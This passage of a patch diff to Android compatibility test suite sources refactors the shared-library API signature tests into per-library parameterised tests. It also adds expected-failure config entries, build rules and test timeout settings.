--- a/tests/musicrecognition/AndroidTest.xml
+++ b/tests/musicrecognition/AndroidTest.xml
@@ -22,6 +22,7 @@
   <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
   <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
   <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+  <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
 
   <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
     <option name="cleanup-apks" value="true" />
diff --git a/tests/net/src/android/net/cts/LocalSocketTest.java b/tests/net/src/android/net/cts/LocalSocketTest.java
index 39b5dbc..c302f81 100644
--- a/tests/net/src/android/net/cts/LocalSocketTest.java
+++ b/tests/net/src/android/net/cts/LocalSocketTest.java
@@ -30,12 +30,9 @@
 import android.net.LocalServerSocket;
 import android.net.LocalSocket;
 import android.net.LocalSocketAddress;
-import android.os.ParcelFileDescriptor;
-import android.os.SystemClock;
 import android.system.Os;
 import android.system.OsConstants;
 import android.system.StructTimeval;
-import android.system.UnixSocketAddress;
 
 import androidx.test.runner.AndroidJUnit4;
 
@@ -196,7 +193,7 @@
     }
 
     // http://b/31205169
-    @Test
+    @Test @IgnoreUpTo(SC_V2)  // Crashes on pre-T due to a JNI bug. See http://r.android.com/2096720
     public void testSetSoTimeout_readTimeout() throws Exception {
         String address = ADDRESS_PREFIX + "_testSetSoTimeout_readTimeout";
 
diff --git a/tests/signature/api-check/current-api/AndroidTest.xml b/tests/signature/api-check/current-api/AndroidTest.xml
index 101dbc5..f5f44b0 100644
--- a/tests/signature/api-check/current-api/AndroidTest.xml
+++ b/tests/signature/api-check/current-api/AndroidTest.xml
@@ -16,11 +16,16 @@
 <configuration description="Config for CTS Current API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="not-shardable" value="true" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsCurrentApiSignatureTestCases" />
+        <option name="version" value="1.0" />
+    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsCurrentApiSignatureTestCases.apk" />
@@ -30,8 +35,11 @@
         <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
         <option name="class" value="android.signature.cts.api.current.SignatureTest" />
         <option name="instrumentation-arg" key="expected-api-files" value="current.api.gz" />
+        <option name="instrumentation-arg" key="dynamic-config-name" value="CtsCurrentApiSignatureTestCases" />
         <option name="runtime-hint" value="30s" />
         <!-- Disable hidden API checks (http://b/171459260). -->
         <option name="hidden-api-checks" value="false" />
+        <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
+        <option name="isolated-storage" value="false" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/current-api/DynamicConfig.xml b/tests/signature/api-check/current-api/DynamicConfig.xml
new file mode 100644
index 0000000..d26d3c9
--- /dev/null
+++ b/tests/signature/api-check/current-api/DynamicConfig.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 Google Inc.
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<dynamicConfig>
+    <entry key ="expected_failures">
+        <!--
+         ! Each value in this section identifies an expected failure and is of the
+         ! form:
+         !    <failure-type>:<signature of class/member>
+         !
+         ! These entries are loaded by AnnotationTest which uses them to construct
+         ! an ExpectedFailuresFilter which discards them.
+         !
+         ! See go/triage-cts-signature-tests for more information and below for some examples.
+         !-->
+       <!-- Bug: 233719013 -->
+       <value>missing_method:java.util.Optional#flatMap(java.util.function.Function&lt;? super T,java.util.Optional&lt;U&gt;&gt;)</value>
+       <value>missing_method:java.util.OptionalDouble#orElseThrow(java.util.function.Supplier&lt;X&gt;)</value>
+       <value>missing_method:java.util.OptionalInt#orElseThrow(java.util.function.Supplier&lt;X&gt;)</value>
+       <value>missing_method:java.util.OptionalLong#orElseThrow(java.util.function.Supplier&lt;X&gt;)</value>
+       <value>mismatch_method:java.util.concurrent.ConcurrentHashMap.KeySetView#removeAll(java.util.Collection&lt;?&gt;)</value>
+    </entry>
+</dynamicConfig>
\ No newline at end of file
diff --git a/tests/signature/api-check/hidden-api-blocklist-27-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blocklist-27-api/AndroidTest.xml
index 6d71bc5..b863f06 100644
--- a/tests/signature/api-check/hidden-api-blocklist-27-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blocklist-27-api/AndroidTest.xml
@@ -41,5 +41,7 @@
         <option name="runtime-hint" value="30s" />
         <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
         <option name="isolated-storage" value="false" />
+        <!-- test-timeout unit is ms, value = 10 min -->
+        <option name="test-timeout" value="600000" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/hidden-api-blocklist-28-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blocklist-28-api/AndroidTest.xml
index 1b8c9bf..5a9e268 100644
--- a/tests/signature/api-check/hidden-api-blocklist-28-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blocklist-28-api/AndroidTest.xml
@@ -41,5 +41,7 @@
         <option name="runtime-hint" value="30s" />
         <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
         <option name="isolated-storage" value="false" />
+        <!-- test-timeout unit is ms, value = 10 min -->
+        <option name="test-timeout" value="600000" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/hidden-api-blocklist-current-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blocklist-current-api/AndroidTest.xml
index 9490cbf..8e7564c 100644
--- a/tests/signature/api-check/hidden-api-blocklist-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blocklist-current-api/AndroidTest.xml
@@ -41,5 +41,7 @@
         <option name="runtime-hint" value="30s" />
         <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
         <option name="isolated-storage" value="false" />
+        <!-- test-timeout unit is ms, value = 10 min -->
+        <option name="test-timeout" value="600000" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/hidden-api-blocklist-debug-class/AndroidTest.xml b/tests/signature/api-check/hidden-api-blocklist-debug-class/AndroidTest.xml
index 0b7b95d..7454676 100644
--- a/tests/signature/api-check/hidden-api-blocklist-debug-class/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blocklist-debug-class/AndroidTest.xml
@@ -41,5 +41,7 @@
         <option name="runtime-hint" value="30s" />
         <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
         <option name="isolated-storage" value="false" />
+        <!-- test-timeout unit is ms, value = 10 min -->
+        <option name="test-timeout" value="600000" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/hidden-api-blocklist-test-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blocklist-test-api/AndroidTest.xml
index d25c338..90fc97d 100644
--- a/tests/signature/api-check/hidden-api-blocklist-test-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blocklist-test-api/AndroidTest.xml
@@ -40,5 +40,7 @@
         <option name="runtime-hint" value="30s" />
         <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
         <option name="isolated-storage" value="false" />
+        <!-- test-timeout unit is ms, value = 10 min -->
+        <option name="test-timeout" value="600000" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/shared-libs-api/Android.bp b/tests/signature/api-check/shared-libs-api/Android.bp
index afab2f3..607df48 100644
--- a/tests/signature/api-check/shared-libs-api/Android.bp
+++ b/tests/signature/api-check/shared-libs-api/Android.bp
@@ -24,6 +24,7 @@
     static_libs: [
         "cts-api-signature-test",
         "compatibility-device-util-axt",
+        "junit-params",
     ],
 }
 
@@ -36,6 +37,8 @@
     jarjar_rules: ":cts-android-test-jarjar-rules",
 
     java_resources: [
+        ":cts-current-api-gz",
+        ":cts-shared-libs-names.txt",
         ":CtsSharedLibsApiSignatureTestCases_cts-shared-libs-all-current.api",
         ":CtsSharedLibsApiSignatureTestCases_cts-shared-libs-all-previous.api",
     ],
@@ -60,12 +63,29 @@
     srcs: ["src/**/*.java"],
 }
 
+genrule {
+    name: "cts-shared-libs-names.txt",
+    srcs: [
+        "AndroidManifest.xml",
+    ],
+    out: [
+        "shared-libs-names.txt",
+    ],
+    cmd: "grep 'uses-library' $(in) | cut -f2 -d\\\" | sort > $(out)",
+}
+
 // Generates a zip file containing the current public and system API files for shared libraries.
 genrule {
     name: "CtsSharedLibsApiSignatureTestCases_cts-shared-libs-all-current.api",
     srcs: [
         ":android.net.ipsec.ike{.public.api.txt}",
         ":android.net.ipsec.ike{.system.api.txt}",
+        ":android.test.base{.public.api.txt}",
+        ":android.test.base{.system.api.txt}",
+        ":android.test.runner{.public.api.txt}",
+        ":android.test.runner{.system.api.txt}",
+        ":android.test.mock{.public.api.txt}",
+        ":android.test.mock{.system.api.txt}",
         ":com.android.future.usb.accessory{.public.api.txt}",
         ":com.android.future.usb.accessory{.system.api.txt}",
         ":com.android.libraries.tv.tvsystem{.public.api.txt}",
@@ -82,6 +102,8 @@
         ":com.android.nfc_extras{.system.api.txt}",
         ":javax.obex{.public.api.txt}",
         ":javax.obex{.system.api.txt}",
+        ":org.apache.http.legacy{.public.api.txt}",
+        ":org.apache.http.legacy{.system.api.txt}",
     ],
     tools: [
         "soong_zip",
diff --git a/tests/signature/api-check/shared-libs-api/AndroidTest.xml b/tests/signature/api-check/shared-libs-api/AndroidTest.xml
index 14a54a2..9bd8233 100644
--- a/tests/signature/api-check/shared-libs-api/AndroidTest.xml
+++ b/tests/signature/api-check/shared-libs-api/AndroidTest.xml
@@ -28,6 +28,7 @@
         <option name="package" value="android.signature.cts.api.shared_libs" />
         <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
         <option name="class" value="android.signature.cts.api.SignatureMultiLibsTest" />
+        <option name="instrumentation-arg" key="base-api-files" value="current.api.gz" />
         <option name="instrumentation-arg" key="expected-api-files" value="shared-libs-all-current.api.zip" />
         <option name="instrumentation-arg" key="previous-api-files" value="shared-libs-all-previous.api.zip" />
         <option name="runtime-hint" value="30s" />
diff --git a/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java b/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java
index c16bd04..2d0f719 100644
--- a/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java
+++ b/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java
@@ -17,21 +17,33 @@
 package android.signature.cts.api;
 
 import android.app.Instrumentation;
+import android.content.Context;
+import android.content.pm.SharedLibraryInfo;
 import android.signature.cts.ApiComplianceChecker;
 import android.signature.cts.ApiDocumentParser;
+import android.signature.cts.JDiffClassDescription;
 import android.signature.cts.VirtualPath;
-import android.signature.cts.VirtualPath.LocalFilePath;
+import android.util.Log;
 import androidx.test.platform.app.InstrumentationRegistry;
+import com.google.common.base.Suppliers;
+import java.io.BufferedReader;
 import java.io.IOException;
-import java.util.Arrays;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.util.List;
 import java.util.Set;
 import java.util.TreeSet;
+import java.util.function.Supplier;
 import java.util.stream.Collectors;
 import java.util.stream.Stream;
-import org.junit.BeforeClass;
+import junitparams.JUnitParamsRunner;
+import junitparams.Parameters;
+import junitparams.naming.TestCaseName;
+import org.junit.Assume;
+import org.junit.FixMethodOrder;
 import org.junit.Test;
-
-import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import org.junit.runner.RunWith;
+import org.junit.runners.MethodSorters;
 
 /**
  * Verifies that any shared library provided by this device and for which this test has a
@@ -41,39 +53,150 @@
  * {@code <uses-library>} entry for every shared library that provides an API that is contained
  * within the shared-libs-all.api.zip supplied to this test.
  */
-public class SignatureMultiLibsTest extends SignatureTest {
+@RunWith(JUnitParamsRunner.class)
+@FixMethodOrder(MethodSorters.NAME_ASCENDING)
+public class SignatureMultiLibsTest extends AbstractSignatureTest {
+
+    protected static final Supplier<String[]> EXPECTED_API_FILES =
+            getSupplierOfAMandatoryCommaSeparatedListArgument(EXPECTED_API_FILES_ARG);
+
+    protected static final Supplier<String[]> PREVIOUS_API_FILES =
+            getSupplierOfAMandatoryCommaSeparatedListArgument(PREVIOUS_API_FILES_ARG);
 
     private static final String TAG = SignatureMultiLibsTest.class.getSimpleName();
 
-    private static Set<String> libraries;
+    /**
+     * A memoized supplier of the list of shared libraries on the device.
+     */
+    protected static final Supplier<Set<String>> AVAILABLE_SHARED_LIBRARIES =
+            Suppliers.memoize(SignatureMultiLibsTest::retrieveActiveSharedLibraries)::get;
+
+    private static final String SHARED_LIBRARY_LIST_RESOURCE_NAME = "shared-libs-names.txt";
 
     /**
-     * Obtain a list of shared libraries from the device.
+     * Retrieve the names of the shared libraries that are active on the device.
+     *
+     * @return The set of shared library names.
      */
-    @BeforeClass
-    public static void retrieveListOfSharedLibrariesOnDevice() throws Exception {
+    private static Set<String> retrieveActiveSharedLibraries() {
         Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
-        String result = runShellCommand(instrumentation, "cmd package list libraries");
-        libraries = Arrays.stream(result.split("\n")).map(line -> line.split(":")[1])
-                .peek(library -> System.out.printf("%s: Found library: %s%n",
-                        SignatureMultiLibsTest.class.getSimpleName(), library))
-                .collect(Collectors.toCollection(TreeSet::new));
+        Context context = instrumentation.getTargetContext();
+
+        List<SharedLibraryInfo> sharedLibraries =
+                context.getPackageManager().getSharedLibraries(0);
+
+        Set<String> sharedLibraryNames = new TreeSet<>();
+        for (SharedLibraryInfo sharedLibrary : sharedLibraries) {
+            String name = sharedLibrary.getName();
+            sharedLibraryNames.add(name);
+            Log.d(TAG, String.format("Found library: %s%n", name));
+        }
+
+        return sharedLibraryNames;
     }
 
     /**
-     * Tests that the device's API matches the expected set defined in xml.
-     * <p/>
-     * Will check the entire API, and then report the complete list of failures
+     * A memoized supplier of the list of shared libraries that this can test.
+     */
+    protected static final Supplier<List<String>> TESTABLE_SHARED_LIBRARIES =
+            Suppliers.memoize(SignatureMultiLibsTest::retrieveTestableSharedLibraries)::get;
+
+    /**
+     * Retrieve the names of the shared libraries that are testable by this test.
+     *
+     * @return The set of shared library names.
+     */
+    private static List<String> retrieveTestableSharedLibraries() {
+        ClassLoader classLoader = SignatureMultiLibsTest.class.getClassLoader();
+        try (InputStream is = classLoader.getResourceAsStream(SHARED_LIBRARY_LIST_RESOURCE_NAME)) {
+            if (is == null) {
+                throw new RuntimeException(
+                        "Resource " + SHARED_LIBRARY_LIST_RESOURCE_NAME + " could not be found");
+            }
+
+            try (BufferedReader reader = new BufferedReader(new InputStreamReader(is))) {
+                return reader.lines()
+                        .filter(line -> !line.isEmpty())
+                        .sorted()
+                        .collect(Collectors.toList());
+            }
+        } catch (IOException e) {
+            throw new RuntimeException("Could not retrieve testable shared libraries", e);
+        }
+    }
+
+    /**
+     * Convert the list of testable shared libraries into a form suitable for parameterizing a test.
+     */
+    public Object[][] getTestableSharedLibraryParameters() {
+        List<String> libraries = TESTABLE_SHARED_LIBRARIES.get();
+        Object[][] params = new Object[libraries.size()][1];
+        for (int i = 0; i < libraries.size(); i++) {
+            String name = libraries.get(i);
+            TestableLibraryParameter param = new TestableLibraryParameter(name);
+            params[i][0] = param;
+        }
+        return params;
+    }
+
+    /**
+     * Skips the test if the supplied library is unavailable on the device.
+     *
+     * <p>If the library is unavailable then this throws an
+     * {@link org.junit.AssumptionViolatedException}.</p>
+     *
+     * @param library the name of the library that needs to be available.
+     */
+    private void skipTestIfLibraryIsUnavailable(String library) {
+        Assume.assumeTrue("Shared library " + library + " is not available on this device",
+                AVAILABLE_SHARED_LIBRARIES.get().contains(library));
+    }
+
+    /**
+     * Return a stream of {@link JDiffClassDescription} that are expected to be provided by the
+     * shared libraries which are installed on this device.
+     *
+     * @param apiDocumentParser the parser to use.
+     * @param apiResources the list of API resource files.
+     * @param library the name of the library whose APIs should be parsed.
+     * @return a stream of {@link JDiffClassDescription}.
+     */
+    private Stream<JDiffClassDescription> parseActiveSharedLibraryApis(
+            ApiDocumentParser apiDocumentParser, String[] apiResources, String library) {
+
+        return retrieveApiResourcesAsStream(getClass().getClassLoader(), apiResources)
+                .filter(path -> {
+                    String apiLibraryName = getLibraryNameFromPath(path);
+                    return apiLibraryName.equals(library);
+                })
+                .flatMap(apiDocumentParser::parseAsStream);
+    }
+
+    /**
+     * Tests that each shared library's API matches its current API.
+     *
+     * <p>One test per shared library, checks the entire API, and then reports the complete list of
+     * failures.</p>
      */
     @Test
-    public void testSignature() {
+    // Parameterize this method with the set of testable shared libraries.
+    @Parameters(method = "getTestableSharedLibraryParameters")
+    // The test name is the method name followed by and _ and the shared library name, with .s
+    // replaced with _. e.g. testRuntimeCompatibilityWithCurrentApi_android_test_base.
+    @TestCaseName("{method}_{0}")
+    public void testRuntimeCompatibilityWithCurrentApi(TestableLibraryParameter parameter) {
+        String library = parameter.getName();
+        skipTestIfLibraryIsUnavailable(library);
         runWithTestResultObserver(mResultObserver -> {
             ApiComplianceChecker complianceChecker =
                     new ApiComplianceChecker(mResultObserver, mClassProvider);
 
+            // Load classes from any API files that form the base which the expected APIs extend.
+            loadBaseClasses(complianceChecker);
+
             ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
 
-            parseApiResourcesAsStream(apiDocumentParser, expectedApiFiles)
+            parseActiveSharedLibraryApis(apiDocumentParser, EXPECTED_API_FILES.get(), library)
                     .forEach(complianceChecker::checkSignatureCompliance);
 
             // After done parsing all expected API files, perform any deferred checks.
@@ -82,17 +205,27 @@
     }
 
     /**
-     * Tests that the device's API matches the previous APIs defined in xml.
+     * Tests that each shared library's API matches its previous APIs.
+     *
+     * <p>One test per shared library, checks the entire API, and then reports the complete list of
+     * failures.</p>
      */
     @Test
-    public void testPreviousSignatures() {
+    // Parameterize this method with the set of testable shared libraries.
+    @Parameters(method = "getTestableSharedLibraryParameters")
+    // The test name is the method name followed by and _ and the shared library name, with .s
+    // replaced with _. e.g. testRuntimeCompatibilityWithPreviousApis_android_test_base.
+    @TestCaseName("{method}_{0}")
+    public void testRuntimeCompatibilityWithPreviousApis(TestableLibraryParameter parameter) {
+        String library = parameter.getName();
+        skipTestIfLibraryIsUnavailable(library);
         runWithTestResultObserver(mResultObserver -> {
             ApiComplianceChecker complianceChecker =
                     new ApiComplianceChecker(mResultObserver, mClassProvider);
 
             ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
 
-            parseApiResourcesAsStream(apiDocumentParser, previousApiFiles)
+            parseActiveSharedLibraryApis(apiDocumentParser, PREVIOUS_API_FILES.get(), library)
                     .map(clazz -> clazz.setPreviousApiFlag(true))
                     .forEach(complianceChecker::checkSignatureCompliance);
 
@@ -102,39 +235,37 @@
     }
 
     /**
-     * Check to see if the supplied name is an API file for a shared library that is available on
-     * this device.
+     * Get the library name from the API file's path.
      *
-     * @param name the name of the possible API file for a shared library.
-     * @return true if it is, false otherwise.
+     * @param path the path of the API file.
+     * @return the library name for the API file.
      */
-    private boolean checkLibrary (String name) {
-        String libraryName = name.substring(name.lastIndexOf('/') + 1).split("-")[0];
-        boolean matched = libraries.contains(libraryName);
-        if (matched) {
-            System.out.printf("%s: Processing API file %s, from library %s as it does match a"
-                            + " shared library on this device%n",
-                    getClass().getSimpleName(), name, libraryName);
-        } else {
-            System.out.printf("%s: Ignoring API file %s, from library %s as it does not match a"
-                    + " shared library on this device%n",
-                    getClass().getSimpleName(), name, libraryName);
-        }
-        return matched;
+    private String getLibraryNameFromPath(VirtualPath path) {
+        String name = path.toString();
+        return name.substring(name.lastIndexOf('/') + 1).split("-")[0];
     }
 
     /**
-     * Override the method that gets the files from a supplied zip file to filter out any file that
-     * does not correspond to a shared library available on the device.
-     *
-     * @param path the path to the zip file.
-     * @return a stream of paths in the zip file that contain APIs that should be available to this
-     * tests.
-     * @throws IOException if there was an issue reading the zip file.
+     * A wrapper around a shared library name to ensure that its string representation is suitable
+     * for use in a parameterized test name, i.e. does not contain any characters that are not
+     * allowed in a test name by CTS/AndroidJUnitRunner.
      */
-    @Override
-    protected Stream<VirtualPath> getZipEntryFiles(LocalFilePath path) throws IOException {
-        // Only return entries corresponding to shared libraries.
-        return super.getZipEntryFiles(path).filter(p -> checkLibrary(p.toString()));
+    public static class TestableLibraryParameter {
+        private final String name;
+        private final String parameter;
+
+        public TestableLibraryParameter(String name) {
+            this.name = name;
+            this.parameter = name.replace('.', '_');
+        }
+
+        public String getName() {
+            return name;
+        }
+
+        @Override
+        public String toString() {
+            return parameter;
+        }
     }
 }
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
index 5bfe0bb..b1dd014 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
@@ -26,23 +26,16 @@
 import android.signature.cts.JDiffClassDescription;
 import android.signature.cts.ResultObserver;
 import android.signature.cts.VirtualPath;
-import android.signature.cts.VirtualPath.LocalFilePath;
-import android.signature.cts.VirtualPath.ResourcePath;
 import android.util.Log;
-
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
-
 import com.android.compatibility.common.util.DynamicConfigDeviceSide;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.nio.file.Files;
-import java.nio.file.Path;
+import com.google.common.base.Suppliers;
 import java.util.Collection;
 import java.util.Collections;
+import java.util.function.Supplier;
 import java.util.stream.Stream;
-import java.util.zip.ZipFile;
+import org.junit.AfterClass;
 import org.junit.Before;
 import org.junit.runner.RunWith;
 
@@ -61,8 +54,6 @@
      */
     private static final String DYNAMIC_CONFIG_NAME_OPTION = "dynamic-config-name";
 
-    private static final String TAG = "SignatureTest";
-
     private TestResultObserver mResultObserver;
 
     ClassProvider mClassProvider;
@@ -72,6 +63,11 @@
      */
     private Collection<String> expectedFailures = Collections.emptyList();
 
+    @AfterClass
+    public static void closeResourceStore() {
+        ResourceStore.close();
+    }
+
     public Instrumentation getInstrumentation() {
         return InstrumentationRegistry.getInstrumentation();
     }
@@ -175,6 +171,13 @@
         mResultObserver.onTestComplete(); // Will throw is there are failures
     }
 
+    static Supplier<String[]> getSupplierOfAnOptionalCommaSeparatedListArgument(String key) {
+        return Suppliers.memoize(() -> {
+            Bundle arguments = InstrumentationRegistry.getArguments();
+            return getCommaSeparatedListOptional(arguments, key);
+        })::get;
+    }
+
     static String[] getCommaSeparatedListOptional(Bundle instrumentationArgs, String key) {
         String argument = instrumentationArgs.getString(key);
         if (argument == null) {
@@ -183,6 +186,13 @@
         return argument.split(",");
     }
 
+    static Supplier<String[]> getSupplierOfAMandatoryCommaSeparatedListArgument(String key) {
+        return Suppliers.memoize(() -> {
+            Bundle arguments = InstrumentationRegistry.getArguments();
+            return getCommaSeparatedListRequired(arguments, key);
+        })::get;
+    }
+
     static String[] getCommaSeparatedListRequired(Bundle instrumentationArgs, String key) {
         String argument = instrumentationArgs.getString(key);
         if (argument == null) {
@@ -191,63 +201,36 @@
         return argument.split(",");
     }
 
-    private Stream<VirtualPath> readResource(String resourceName) {
-        try {
-            ResourcePath resourcePath =
-                    VirtualPath.get(getClass().getClassLoader(), resourceName);
-            if (resourceName.endsWith(".zip")) {
-                // Extract to a temporary file and read from there.
-                Path file = extractResourceToFile(resourceName, resourcePath.newInputStream());
-                return flattenPaths(VirtualPath.get(file.toString()));
-            } else {
-                return Stream.of(resourcePath);
-            }
-        } catch (IOException e) {
-            throw new RuntimeException(e);
-        }
-    }
-
-    Path extractResourceToFile(String resourceName, InputStream is) throws IOException {
-        Path tempDirectory = Files.createTempDirectory("signature");
-        Path file = tempDirectory.resolve(resourceName);
-        Log.i(TAG, "extractResourceToFile: extracting " + resourceName + " to " + file);
-        Files.copy(is, file);
-        is.close();
-        return file;
-    }
-
     /**
-     * Given a path in the local file system (possibly of a zip file) flatten it into a stream of
-     * virtual paths.
+     * Create a stream of {@link JDiffClassDescription} by parsing a set of API resource files.
+     *
+     * @param apiDocumentParser the parser to use.
+     * @param apiResources the list of API resource files.
+     *
+     * @return the stream of {@link JDiffClassDescription}.
      */
-    private Stream<VirtualPath> flattenPaths(LocalFilePath path) {
-        try {
-            if (path.toString().endsWith(".zip")) {
-                return getZipEntryFiles(path);
-            } else {
-                return Stream.of(path);
-            }
-        } catch (IOException e) {
-            throw new RuntimeException(e);
-        }
-    }
-
     Stream<JDiffClassDescription> parseApiResourcesAsStream(
             ApiDocumentParser apiDocumentParser, String[] apiResources) {
-        return Stream.of(apiResources)
-                .flatMap(this::readResource)
+        return retrieveApiResourcesAsStream(getClass().getClassLoader(), apiResources)
                 .flatMap(apiDocumentParser::parseAsStream);
     }
 
     /**
-     * Get the zip entries that are files.
+     * Retrieve a stream of {@link VirtualPath} from a list of API resource files.
      *
-     * @param path the path to the zip file.
-     * @return paths to zip entries
+     * <p>Any zip files are flattened, i.e. if a resource name ends with {@code .zip} then it is
+     * unpacked into a temporary directory and the paths to the unpacked files are returned instead
+     * of the path to the zip file.</p>
+     *
+     * @param classLoader the {@link ClassLoader} from which the resources will be loaded.
+     * @param apiResources the list of API resource files.
+     *
+     * @return the stream of {@link VirtualPath}.
      */
-    protected Stream<VirtualPath> getZipEntryFiles(LocalFilePath path) throws IOException {
-        @SuppressWarnings("resource")
-        ZipFile zip = new ZipFile(path.toFile());
-        return zip.stream().map(entry -> VirtualPath.get(zip, entry));
+    static Stream<VirtualPath> retrieveApiResourcesAsStream(
+            ClassLoader classLoader,
+            String[] apiResources) {
+        return Stream.of(apiResources)
+                .flatMap(resourceName -> ResourceStore.readResource(classLoader, resourceName));
     }
 }
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/AbstractSignatureTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/AbstractSignatureTest.java
new file mode 100644
index 0000000..6df224fc
--- /dev/null
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/AbstractSignatureTest.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts.api;
+
+import android.signature.cts.ApiComplianceChecker;
+import android.signature.cts.ApiDocumentParser;
+import java.util.function.Supplier;
+
+/**
+ * Base class of the tests that check accessibility of API signatures at runtime.
+ */
+public class AbstractSignatureTest extends AbstractApiTest {
+
+    private static final String TAG = AbstractSignatureTest.class.getSimpleName();
+
+    /**
+     * The name of the instrumentation option that contains the list of the current API signatures
+     * that are expected to be accessible.
+     */
+    protected static final String EXPECTED_API_FILES_ARG = "expected-api-files";
+
+    /**
+     * The name of the instrumentation option that contains the list of the previous API signatures
+     * that are expected to be accessible.
+     */
+    protected static final String PREVIOUS_API_FILES_ARG = "previous-api-files";
+
+    /**
+     * Supplier of the list of files specified in the instrumentation argument "base-api-files".
+     */
+    private static final Supplier<String[]> BASE_API_FILES =
+            getSupplierOfAnOptionalCommaSeparatedListArgument("base-api-files");
+
+    /**
+     * Load the base API files into the supplied compliance checker.
+     *
+     * <p>Base API files are not checked by the compliance checker but may be extended by classes
+     * which are checked.</p>
+     *
+     * @param complianceChecker the {@link ApiComplianceChecker} into which the base API will be
+     *                          loaded.
+     */
+    protected void loadBaseClasses(ApiComplianceChecker complianceChecker) {
+        ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
+        parseApiResourcesAsStream(apiDocumentParser, BASE_API_FILES.get())
+                .forEach(complianceChecker::addBaseClass);
+    }
+}
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java
index 2f77728..9cb5fb1 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java
@@ -59,7 +59,7 @@
         doTestKillswitchMechanism(FIELD_FILTER, /* reflection= */ true, /* jni= */ false);
     }
 
-    @Test
+    @Test(timeout = 900000)
     public void testKillswitchMechanismFieldsThroughJni() {
         doTestKillswitchMechanism(FIELD_FILTER, /* reflection= */ false, /* jni= */ true);
     }
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
index 9082c47..1635da7 100644
